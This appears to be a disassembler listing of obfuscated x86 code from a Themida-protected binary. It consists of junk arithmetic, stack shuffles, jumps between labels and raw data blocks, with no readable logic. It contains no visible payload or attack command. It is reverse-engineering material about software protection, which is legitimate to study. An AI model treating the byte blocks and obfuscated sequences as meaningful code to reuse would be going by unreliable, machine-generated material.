		dd 0D2F7464Eh, 0B261E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BEA9:				; CODE XREF: Themida_:005584BBj
		pop	dx
		sub	cl, 4Bh
		shr	cl, 6
		jmp	loc_556062
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 0ABE9525Fh, 83FFFFE7h, 0C8B04C4h, 4C48124h, 0E9000000h
		dd 0FFFF6CEBh, 0E9242C89h, 76FEh, 0EC81505Bh, 4, 0BD242C89h
		dd 7DBD1953h, 0BD1955B8h, 85B0E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BEF2:				; CODE XREF: Themida_:0055C6C6j
		mov	bl, 0BFh
		sub	dl, bl
		pop	ebx
		and	dl, 66h
		shl	dl, 6
		jmp	loc_553391
; ---------------------------------------------------------------------------


loc_55BF02:				; CODE XREF: Themida_:005558B4j
		pop	ebx


loc_55BF03:				; CODE XREF: Themida_:loc_55E22Cj
		push	6764h
		mov	[esp], ebx
		jmp	loc_562827
; ---------------------------------------------------------------------------
		dd 0FD89F789h, 0E92434FFh, 4640h
; ---------------------------------------------------------------------------


loc_55BF1C:				; CODE XREF: Themida_:00565E95j
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_55C15F
; ---------------------------------------------------------------------------
		db 5Bh,	80h, 0C2h
		dd 8E3BE9FAh, 0C6800000h, 0D7EBE901h, 3487FFFFh, 0A59BE924h
		dd 0C209FFFFh, 0C5F28158h, 681FE812h, 4843h, 0FFEC1CE9h
		dd 20F181FFh, 51513C2Eh, 5A355958h, 0C11B6D25h,	33508E8h
		dd 81006BF4h, 0C54652EDh, 81C50103h, 0C54652C5h, 2C335803h
		dd 242C3124h, 0E9242C33h, 0FFFF766Ah, 0C181E189h, 4, 8704C183h
		dd 535C240Ch, 0F7242C87h, 242C87D5h, 5853505Bh,	0C7B9515Bh
		dd 10BB170h, 484059C8h,	2414F750h, 0FFFF2D58h, 6D05FFFFh
		dd 0E9A5D451h, 4225h, 9BD555Bh,	0C150B635h, 0E5C105EDh
		dd 0B5E94D04h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BFD7:				; CODE XREF: Themida_:0055D8DBj
		mov	ebp, [esp]
		push	ebp
		jmp	loc_55D23D
; ---------------------------------------------------------------------------


loc_55BFE0:				; CODE XREF: Themida_:00564E01j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_561BF2
; ---------------------------------------------------------------------------
		db 0BAh, 33h, 54h
		dd 50E955FEh, 6800004Fh, 4, 8124148Bh, 4C4h, 0F1EF8100h
		dd 81502B41h, 0DC3A4AC7h, 81D7014Bh, 0DC3A4AEFh, 6EBD554Bh
		dd 0F7165F7Eh, 0D4C581D5h, 813FBF3Eh, 748194F5h, 0E9EF0179h
		dd 0FFFF8F70h
; ---------------------------------------------------------------------------


loc_55C034:				; CODE XREF: Themida_:0055D76Aj
		dec	edx
		push	esi
		jmp	loc_567008
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 8904EC83h, 0C8B2414h, 21E95224h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C053:				; CODE XREF: Themida_:0056220Fj
		not	edi
		jmp	loc_557C40
; ---------------------------------------------------------------------------


loc_55C05A:				; CODE XREF: Themida_:005542B9j
		pop	edx
		shl	ecx, 1
		push	edx
		mov	edx, 4A546E94h
		xor	ecx, edx
		pop	edx
		dec	ecx
		neg	ecx
		xor	ecx, 0BB2A6496h
		add	eax, ecx
		pop	ecx
		dec	eax
		not	eax
		shr	eax, 2
		xor	eax, 47D12D11h
		sub	eax, 0ECD0CDF9h
		add	ebx, eax
		pop	eax
		shl	ebx, 3
		add	ebx, 1
		jmp	loc_5554D3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28300h, 572DE9h, 240C8900h, 525181B5h, 53DEB551h
		dd 0FA88EF88h, 0B028E95Bh, 5743FFFFh, 414CE9h, 21C86800h
		dd 2C890000h, 32C8BD24h, 0C5836EA4h, 7EC58101h,	0E981C1ABh
		dd 0FFFF6EC2h, 81241C8Bh, 4C4h,	42816800h, 14890000h, 0D4B85024h
		dd 51147B74h, 737B6FB9h, 69DBA60h, 0CA294BF8h, 83240C8Bh
		dd 0C20104C4h, 8324048Bh, 1AE904C4h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C10F:				; CODE XREF: Themida_:00552DB5j
		mov	esi, 21F05FCh
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xor	esi, 43207FFh
		sub	esi, 1
		shl	esi, 8
		xor	esi, 167C1456h
		jmp	loc_55E1D6
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 0C283FA87h, 0E9D2F7FFh, 6CDBh, 98B29EB3h, 0C9E9DA30h
		dd 53FFFFD0h, 491D28BBh, 0C1D3F704h, 0CDE905E3h
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C15F:				; CODE XREF: Themida_:0055BF24j
		push	esi
		add	dword ptr [esp], 63BC790Ah
		pop	ebp
		sub	ebp, 63BC790Ah
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55AF6E
; ---------------------------------------------------------------------------


loc_55C177:				; CODE XREF: Themida_:00564651j
		add	eax, 50EB0EE4h
		jmp	loc_55D913
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C5h
		dd 4, 4C581h, 2C870000h, 835F5C24h, 348702EEh, 89665C24h
		dd 18E9240Ch, 8BFFFF6Ah, 36E92414h, 89FFFFB4h, 0BD55243Ch
		dd 6F166522h, 565D5F55h, 6A62E9h, 64EE8100h, 583F9102h
		dd 5962CE81h, 0A5E96854h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C1CF:				; CODE XREF: Themida_:0055D5F4j
		add	ecx, 4
		jmp	loc_55F51C
; ---------------------------------------------------------------------------


loc_55C1DA:				; CODE XREF: Themida_:00553578j
		xchg	edx, esi
		jmp	loc_553A9F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Dh, 4BBFBF57h,	0F9212CDAh, 0F181415Fh,	19EA2264h
		dd 2D59C801h, 56751023h, 0EC81D829h, 4,	9CABE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C20D:				; CODE XREF: Themida_:0056271Cj
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 50093880h
		xor	ecx, eax
		pop	eax
		mov	esi, ecx
		pop	ecx
		and	ecx, esi
		pop	esi
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_55C984
; ---------------------------------------------------------------------------
		dw 0EDB9h
		dd 316A8E36h, 0C28159CAh, 32FBCC75h, 0CE67DC05h, 7DACE96Ch
		db 2 dup(0FFh)
word_55C246	dw 8B66h		; DATA XREF: Themida_:0055293Co
		dd 0EC81240Ch, 4, 89241489h, 0BE5653E2h, 387962CDh, 0E9FE874Eh
		dd 0FFFFD76Bh
; ---------------------------------------------------------------------------


loc_55C264:				; CODE XREF: Themida_:00565988j
		push	edx
		mov	edx, 5B724B5Bh
		not	edx
		shl	edx, 3
		push	edx
		not	dword ptr [esp]
		jmp	loc_55D4F3
; ---------------------------------------------------------------------------
		dd 0E908E3C1h, 0FFFFBFEFh, 3304C483h, 3C31243Ch, 243C3324h
		dd 6624248Bh, 9C242CD3h, 0FF6922E9h, 0BFC281FFh, 0E928E060h
		dd 0FFFFB144h, 0EB81FB01h, 15EA4E27h, 240C8B5Fh, 0AE69E956h
		dd 0E929FFFFh, 2B4E981h, 2C8B73FBh, 0E7895724h,	4C781h
		dd 0C7810000h, 4, 0FFADF6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C2D5:				; CODE XREF: Themida_:005625E0j
		mov	[esp], esi
		jmp	loc_55E38B
; ---------------------------------------------------------------------------
		align 2
		dw 66F8h
aSu		db '[ИЦЁ',0
		db 2 dup(0), 0EBh
		dd 81240C8Bh, 4C4h, 0C7EB8000h,	0B450C300h, 66D4F67Eh
		dd 28000068h, 248A2424h, 0BDE95524h, 0B5000068h, 66C5FE7Eh
		dd 1779E950h, 8B5F0000h, 0C483240Ch, 0B2EAE904h, 0F0010000h
		dd 11B2055Eh, 0C80105E0h, 0E011B22Dh, 4260E905h, 0BD550000h
		dd 66BD5823h, 32DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C341:				; CODE XREF: Themida_:00557737j
		mov	edi, 74332BA5h
		jmp	loc_56800A
; ---------------------------------------------------------------------------


loc_55C34B:				; CODE XREF: Themida_:0055EB5Ej
		mov	[esp], edi
		jmp	loc_55B7EC
; ---------------------------------------------------------------------------


loc_55C353:				; CODE XREF: Themida_:00557EFDj
		sub	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	ebx, 1AEF0E70h
		add	ebx, edi
		add	ebx, 1AEF0E70h
		push	ecx
		mov	ecx, 4D5D03AEh
		jmp	loc_55A870
; ---------------------------------------------------------------------------


loc_55C378:				; CODE XREF: Themida_:0055D1EFj
		and	edx, 764F3FDFh
		add	edx, 9DF8C8A0h
		add	edx, edi
		push	eax
		jmp	loc_556EF1
; ---------------------------------------------------------------------------
		dd 8324048Fh, 5B042404h, 1247BD55h, 0EAE91963h,	51FFFF92h
		dd 0D472D8B9h, 0BCF9E96Ah, 14330000h, 3AB1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C3B2:				; CODE XREF: Themida_:0055916Fj
		push	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 72941460h
		or	ecx, 79952713h
		add	ecx, 0B4365EFh
		dec	ecx
		add	ecx, 792762A3h
		sub	eax, ecx
		pop	ecx
		jmp	loc_554DF5
; ---------------------------------------------------------------------------


loc_55C3E1:				; CODE XREF: Themida_:0055A12Aj
		and	ecx, 369A00FFh
		xor	ecx, 7802201Ah
		inc	ecx
		xor	ecx, 2FD243BEh
		xor	ebx, ecx
		jmp	loc_55A4EB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 5452240Ch, 8324148Bh, 0BF5704C4h, 2CD900F4h,	7D80BA52h
		dd 76E94F03h, 30000007h, 5418E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C41E:				; CODE XREF: Themida_:0055BC2Ej
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	edx
		mov	edx, 72A97162h
		mov	edi, edx
		pop	edx
		mov	ecx, 8D568E9Eh
		sub	ecx, 3C6354CCh
		add	ecx, edi
		jmp	loc_559D54
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 87D1F724h, 148B240Ch, 4C48324h, 6FFB68h, 24048900h
		dd 5B31BB53h, 0B9513F02h, 621E146Fh, 384FE181h,	0B1E943ADh
		dd 81FFFFF2h, 0AB1899EBh, 0DE015F4Ch, 0ADE94E5Bh
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C48F:				; CODE XREF: Themida_:00557CF2j
		xor	ecx, [esp]
		pop	esp
		jmp	loc_55E47C
; ---------------------------------------------------------------------------


loc_55C498:				; CODE XREF: Themida_:00565C12j
		mov	[esp], eax
		jmp	loc_555AE1
; ---------------------------------------------------------------------------


loc_55C4A0:				; CODE XREF: Themida_:00553DCBj
		mov	edx, 504B0B29h
		push	edi
		mov	edi, 283D4450h
		add	edx, edi
		jmp	loc_566BCB
; ---------------------------------------------------------------------------
		dw 0D2F7h
aZSP		db '┤сИ|P',0
		dw 5800h
		dd 0FFF772E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C4C1:				; CODE XREF: Themida_:0055BE42j
		pop	edi
		inc	edx
		xor	edx, 0FFF4AD59h
		sub	ebx, edx
		pop	edx
		add	ebx, edi
		push	esi
		mov	esi, 1E3F0079h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 368670E8h
		jmp	loc_557D70
; ---------------------------------------------------------------------------


loc_55C4E7:				; CODE XREF: Themida_:005664CFj
		or	ebp, 44D60F2Ah
		sub	ebp, 2A3970ACh
		or	ebp, 54481A28h
		add	ebp, 7D833153h
		sub	ebp, 2E9B79C7h
		sub	ebp, 638F2D22h
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		inc	edi
		and	edi, 75992077h
		sub	edi, 57677590h
		add	edi, 56BD5F11h
		add	edi, 0E65661CAh
		jmp	loc_5628C9
; ---------------------------------------------------------------------------


loc_55C534:				; CODE XREF: Themida_:00567DBBj
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_563864
; ---------------------------------------------------------------------------


loc_55C545:				; CODE XREF: Themida_:00565D5Dj
		pop	ebx
		push	eax
		mov	al, dh
		mov	[ebx], al
		pop	eax
		jmp	loc_560CE8
; ---------------------------------------------------------------------------
a_Hf3		db '_]h■3',0
		align 4
		dd 0BE243489h, 52142D2Dh, 0F51FC681h, 0ED812C37h, 5B9D6114h
		dd 8ED1E9h, 0C5885100h,	5859EE88h, 0E959EE30h, 0FFFFDB08h
		dd 5A2434FFh, 45AAE9h, 17FB800h, 0C8E91CE5h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C593:				; CODE XREF: Themida_:0055A4A1j
		add	ebp, 6816F182h
		add	esi, ebp
		pop	ebp
		sub	eax, 44ED59A1h
		sub	eax, esi
		add	eax, 44ED59A1h
		pop	esi
		or	edx, eax
		jmp	loc_5635AE
; ---------------------------------------------------------------------------
		dd 8904EC83h, 268240Ch,	59000000h, 0E959CE29h, 0FFFF689Ch
		dd 2474FF57h, 5AE95F04h, 5F000083h, 0B850F529h,	4BD15478h
		dd 5E58C501h, 2C8BEA31h, 4EC8124h, 89000000h, 0E6892434h
		dd 4C681h, 46E90000h, 5A0000BCh, 5B66FE30h, 0FF8EB5E9h
		dd 241489FFh, 2CBF57h, 0E9570000h, 0FFFF81BFh, 0BA241489h
		dd 45402647h, 0DD16EA81h, 0D009DAABh, 0A4E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C625:				; CODE XREF: Themida_:0055DAC3j
		push	39AEh
		jmp	loc_56332A
; ---------------------------------------------------------------------------
byte_55C62F	db 66h			; DATA XREF: Themida_:00552910o
		dd 6824048Bh, 61B2h, 54241489h,	8EBD555Ah, 0E95A5E18h
		dd 81E4h
dword_55C648	dd 24143166h, 24143366h, 24143166h, 8F89E9h, 81E92900h
					; DATA XREF: Themida_:00552B10o
		dd 946606C1h, 51415D0Ch, 9549E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C669:				; CODE XREF: Themida_:00563659j
		mov	eax, [esp]
		push	edx
		push	esp
		jmp	loc_552E01
; ---------------------------------------------------------------------------
		db 0FFh
a4S6i		db '4$И6I',0
		dw 5B00h
		dd 0E904EC83h, 0FFFFE840h, 4EC815Bh, 89000000h,	9AB02404h
		dd 6606E8C0h, 28000068h, 0EDE92404h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C69F:				; CODE XREF: Themida_:00564FA2j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	5CD76490h
		jmp	loc_55F300
; ---------------------------------------------------------------------------


loc_55C6B0:				; CODE XREF: Themida_:0055F193j
		shr	bl, 2
		or	bl, 0C0h
		shl	bl, 5
		jmp	loc_5589D7
; ---------------------------------------------------------------------------


loc_55C6BE:				; CODE XREF: Themida_:0055EA6Dj
		pop	esp
		push	eax
		jmp	loc_55A4F3
; ---------------------------------------------------------------------------


loc_55C6C5:				; CODE XREF: Themida_:00564522j
		push	ebx
		jmp	loc_55BEF2
; ---------------------------------------------------------------------------
		db 0BAh
		dd 36956757h, 0F75AD729h, 31F781DFh, 314FD17Eh,	0F7015FFEh
		dd 9E86E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C6E6:				; CODE XREF: Themida_:00564CF4j
		mov	edx, ebp
		pop	ebp
		sub	edx, 1
		or	edx, 6C8A417Ah
		jmp	loc_56245F
; ---------------------------------------------------------------------------


loc_55C6FA:				; CODE XREF: Themida_:005625B0j
		xor	ebx, 6FF15890h
		shl	ebx, 6
		push	edx
		push	ecx
		push	7F301CBCh
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 0A30A3866h
		mov	edx, ecx
		jmp	loc_56306F
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 82h
		dd 59FFFF80h, 1458E9h, 3DC58000h, 0A4B25266h, 5A66D530h
		dd 0E9F4F580h, 21FAh, 4C481h, 0CE010000h, 83240C8Bh, 0D7E904C4h
		dd 5C000021h, 68243489h, 2DA3694h, 98B8505Eh, 2D57C358h
		dd 16E20061h, 0E958C631h, 2DFCh, 4E9E289h, 5700000Bh, 2BFh
		dd 5FFA0100h, 31241433h, 14332414h, 1B0DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C78A:				; CODE XREF: Themida_:00561F3Fj
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5598D3
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFFDh, 0E389535Fh, 0E904EC83h, 9B8Ch
; ---------------------------------------------------------------------------


loc_55C7B0:				; CODE XREF: Themida_:00566059j
		push	esi
		push	6E3Ch
		mov	[esp], ecx
		mov	ecx, 71C30187h
		push	esi
		push	edx
		jmp	loc_55B529
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0EB810000h, 6B322C08h, 0C381FB01h, 6B322C08h, 241C875Fh
		dd 24048F5Ch, 924248Bh,	0E99C2404h, 0FFFF63CFh,	6509E951h
		dd 815FFFFFh, 4ECh, 242C8900h, 4BDh, 5DE90100h,	5C240C87h
		dd 553068h, 243C8900h, 6C69E9h,	240C3100h, 8B240C33h, 85662424h
		dd 94E99CC8h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C827:				; CODE XREF: Themida_:00562565j
		push	2ED2h
		mov	[esp], eax
		push	4668h
		mov	[esp], ebp
		mov	ebp, 3481010Ah
		xor	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_553A40
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0DBh
		dd 29DD7BF3h, 242C8BEFh, 4C481h, 0EFC10000h, 0C9C78106h
		dd 1243B89h, 55E95FFBh
		db 0A4h, 2 dup(0FFh)
byte_55C86B	db 64h			; DATA XREF: Themida_:00552B24o
		dd 48E932FFh
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C873:				; CODE XREF: Themida_:0055539Ej
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	6D18h
		mov	[esp], edx
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		not	esi
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55F070
; ---------------------------------------------------------------------------


loc_55C8A5:				; CODE XREF: Themida_:00566167j
		push	edx
		mov	edx, 29B23BB5h
		push	esi
		mov	esi, 17193B0Ah
		and	esi, 6E2C2175h
		sub	esi, 0ACECFABCh
		or	edx, esi
		pop	esi
		add	edx, 303615EBh
		jmp	loc_556671
; ---------------------------------------------------------------------------


loc_55C8CB:				; CODE XREF: Themida_:005568D3j
		xchg	eax, edx
		neg	edx
		xchg	eax, edx
		shr	eax, 2
		shr	eax, 5
		shl	eax, 3
		jmp	loc_55F758
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 83h
		dd 50776501h, 0A143FEB8h, 0AE530506h, 0C50181F9h, 0FF70EFE9h
		dd 0CB015DFFh, 8BDE3159h, 0C483241Ch, 8BF30104h, 0F6E92434h
		dd 0C1FFFFB0h, 0D9F705E9h, 4053C181h, 0E6E92693h, 57000022h
		dd 862239BFh, 90F7817Dh, 81100802h, 0F224C4C7h,	69EF8151h
		dd 2DBF8045h, 5128002Ah, 41797D2Dh, 0E9F8012Dh,	907Bh
		dd 0E904EC83h, 0B5C8h, 5C241C87h, 0FFF8F381h, 0C1816C1Fh
		dd 171D7724h, 0ACE4E9h,	0E9EE0100h, 0FFFFCC1Ch,	81240C8Bh
		dd 4C4h, 5592E900h, 0E95C0000h,	0FFFF7C00h, 0E95DEE89h
		dd 607Eh
; ---------------------------------------------------------------------------


loc_55C984:				; CODE XREF: Themida_:0055C229j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_556874
; ---------------------------------------------------------------------------
		dd 34518025h, 16843508h, 80051BAFh, 29E464F9h, 148758C2h
		dd 35E95C24h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C9B3:				; CODE XREF: Themida_:0056041Dj
		sub	[esp+4], ebx
		pop	ebx
		sub	[esp], ebx
		jmp	loc_5553E8
; ---------------------------------------------------------------------------
		dd 0B45634B8h, 58C7895Bh, 0DCE9FE29h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C9CF:				; CODE XREF: Themida_:005652CAj
		neg	edx
		push	edi
		jmp	loc_55B300
; ---------------------------------------------------------------------------


loc_55C9D7:				; CODE XREF: Themida_:00556A88j
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		jmp	loc_566612
; ---------------------------------------------------------------------------
dword_55C9E4	dd 813C77FFh, 65C1242Ch, 0D1E91CC1h, 5EFFFF9Dh,	81E18951h
					; DATA XREF: Themida_:00552ACCo
		dd 4C1h, 99BFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CA02:				; CODE XREF: Themida_:00561383j
		pop	ebp
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		push	5580h
		mov	[esp], eax
		xchg	ecx, [esp]
		jmp	loc_56544D
; ---------------------------------------------------------------------------
aYSgc		db 'Y[ИG≈',0
		db 0
; ---------------------------------------------------------------------------


loc_55CA25:				; CODE XREF: Themida_:0055BB55j
		pop	edx
		mov	dh, ah
		jmp	loc_565D5C
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 4
		dd 0E9240487h, 9369h, 283A8FBDh, 2EBF5768h, 81274B55h
		dd 335CFE7h, 0C1D7F746h, 0C78104E7h, 43A32198h,	565FFD01h
		dd 0DDBA5257h, 0F745D633h, 23E281D2h, 0E926BA01h, 0FFFF82AFh
		dd 1147A4BDh, 0A3ED8126h, 551D6C0Ah, 0FFA681E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CA7D:				; CODE XREF: Themida_:005681B6j
		pop	edi
		add	ecx, ebx
		pop	ebx
		jmp	loc_558A41
; ---------------------------------------------------------------------------
		dw 0FF52h
		dd 5A042474h, 5C24048Fh, 0FF6126E9h, 809EB6FFh,	7E940F6h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CA9F:				; CODE XREF: Themida_:00552EE5j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		mov	edx, 33291201h
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, edx
		jmp	loc_55E1B0
; ---------------------------------------------------------------------------


loc_55CAC5:				; CODE XREF: Themida_:0055AA52j
		mov	eax, 704D52FFh
		add	ebx, eax
		pop	eax
		jmp	loc_559BFD
; ---------------------------------------------------------------------------


loc_55CAD2:				; CODE XREF: Themida_:00563175j
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	2B0h
		mov	[esp], ebp
		mov	ebp, 1
		add	eax, ebp
		pop	ebp
		push	edx
		jmp	loc_559095
; ---------------------------------------------------------------------------
		dd 5899C581h, 0FD010FC6h, 5899ED81h, 9AE90FC6h,	8F000060h
		dd 0F5C2404h, 0EC83C8B7h, 54D7E904h, 0C5810000h, 4, 8704C583h
		dd 0E95C242Ch, 496Ch, 0B151E600h, 59CE288Ah, 9D686658h
		dd 1C89664Ch, 305FB324h, 305B66DEh, 88AAE9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CB46:				; CODE XREF: Themida_:00558491j
		add	ebp, 4
		sub	ebp, 2
		jmp	loc_556FB0
; ---------------------------------------------------------------------------


loc_55CB54:				; CODE XREF: Themida_:0055912Aj
		push	ebp
		push	ecx
		jmp	loc_5635EC
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFF427E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CB61:				; CODE XREF: Themida_:00565EB3j
		add	esp, 4
		push	edx
		push	ebx
		push	4D411917h
		pop	ebx
		neg	ebx
		sub	ebx, 8108AE79h
		jmp	loc_5657D7
; ---------------------------------------------------------------------------
		dd 72D6CB81h, 0C3810DB5h, 39BDE964h, 0FFC6C9E9h, 5AD701FFh
		dd 0FFB6BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CB95:				; CODE XREF: Themida_:00563ADFj
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_552EC1
; ---------------------------------------------------------------------------


loc_55CBA9:				; CODE XREF: Themida_:0056013Aj
		mov	[esp], ebx
		jmp	loc_5556A6
; ---------------------------------------------------------------------------


loc_55CBB1:				; CODE XREF: Themida_:00559B9Aj
		mov	[esp], edi
		jmp	loc_55F9DB
; ---------------------------------------------------------------------------
byte_55CBB9	db 66h,	0F7h, 1Ch	; DATA XREF: Themida_:0055295Co
		dd 0F8E99C24h, 66FFFF5Fh, 0EE9FA31h, 51000063h,	801C6CB9h
		dd 0E9CA2173h, 6624h, 24348B5Fh, 4C481h, 0F6810000h, 376C4C73h
		dd 8BF53158h, 0C4832434h, 0E9E83104h, 0FFFFD97Ch
dword_55CBF8	dd 24048B66h, 19DBE9h, 54575800h, 0D1E9555Fh ; DATA XREF: Themida_:00552A2Co
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CC0B:				; CODE XREF: Themida_:0056749Fj
		sub	edi, 7B5A15E5h
		sub	edi, 0C4BFAA88h
		sub	esi, edi
		pop	edi
		add	esi, 0AF7DD9Bh
		jmp	loc_563A20
; ---------------------------------------------------------------------------


loc_55CC25:				; CODE XREF: Themida_:00567CD2j
		mov	ebp, 3ED37EAEh
		not	ebp
		jmp	loc_552FFA
; ---------------------------------------------------------------------------


loc_55CC31:				; CODE XREF: Themida_:0056501Ej
		push	dword ptr [esp]
		jmp	loc_55898A
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0C4h
		dd 4, 31243C33h, 57E9243Ch, 5A00006Ah, 5C24048Fh, 31243C33h
		dd 3C33243Ch, 24248B24h, 36D668h, 240C8900h, 240C8B54h
		dd 4C481h, 5BE90000h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CC73:				; CODE XREF: Themida_:00561FE8j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_55367C
; ---------------------------------------------------------------------------
		db 0B2h, 0D2h, 0E9h
		dd 0FFFF9149h, 0A766E95Fh, 81450000h, 5A747CC5h, 51C58112h
		dd 18805CEh, 242C8BEFh,	8AB68h,	24148900h, 0E904EC83h
		dd 0A204h, 0B12BE952h, 0DD31FFFFh, 50E9815Bh, 129146Dh
		dd 0D411E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CCCA:				; CODE XREF: Themida_:0055F156j
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 61EF6744h
		shl	ebx, 8
		sub	ebx, 0EF6743FCh
		add	eax, ebx
		pop	ebx
		jmp	loc_553887
; ---------------------------------------------------------------------------
		db 5Dh
		dd 73E98159h, 0E97ECE49h, 0FFFF8870h, 0FF243C89h, 5F042474h
		dd 0E924048Fh, 0FFFFA946h
; ---------------------------------------------------------------------------


loc_55CD00:				; CODE XREF: Themida_:0055EE47j
		mov	al, bl
		jmp	loc_5584B8
; ---------------------------------------------------------------------------
		db 58h
		dd 2474FF52h, 0B369E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CD12:				; CODE XREF: Themida_:00555883j
		add	esp, 4
		jmp	loc_55B5F9
; ---------------------------------------------------------------------------
		dw 5755h
		dd 0D30D1A68h, 2434FF5Fh, 4C4835Fh, 24148757h, 356E9h
		dd 0C4815A00h, 4, 0E905EFC1h, 9702h, 2C281h, 0DE90000h
		db 20h,	2 dup(0)
byte_55CD4B	db 0FFh			; DATA XREF: Themida_:00552958o
		dd 48B2434h, 4C48324h, 9CCFE955h, 0FE01FFFFh, 7DBBE9h
		dd 24048B00h, 4C481h, 0D9050000h, 50332F2Dh, 0D889585Bh
		dd 24348B5Bh, 52E68956h, 4BAh, 5AD60100h, 55D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CD89:				; CODE XREF: Themida_:0055AB07j
		mov	esi, 4
		add	edx, 72E343Dh
		jmp	loc_559653
; ---------------------------------------------------------------------------


loc_55CD99:				; CODE XREF: Themida_:0055D592j
		push	edi
		jmp	loc_562146
; ---------------------------------------------------------------------------
		db 0B9h
		dd 78B62A06h, 3F18141h,	178B62Ah, 2434FFCFh, 59545159h
		dd 56C968h, 241C8900h, 4BBh, 0BBE98100h, 157357Ch, 908AE9D9h
		dd 0E6C1FFFFh, 81DEF708h, 8B2BACEEh, 0D8EE8168h, 144005Eh
		dd 554A5EF2h, 0CF5FA1BDh, 2E5C128h, 0C581D5F7h,	9B85404Eh
		dd 0E95DEA01h, 74F7h, 24048F5Ch, 24248Bh, 0E99C2404h, 0FFFF5DAFh
		dd 2587E953h, 0EF810000h, 615B7AB8h, 71E9EF29h
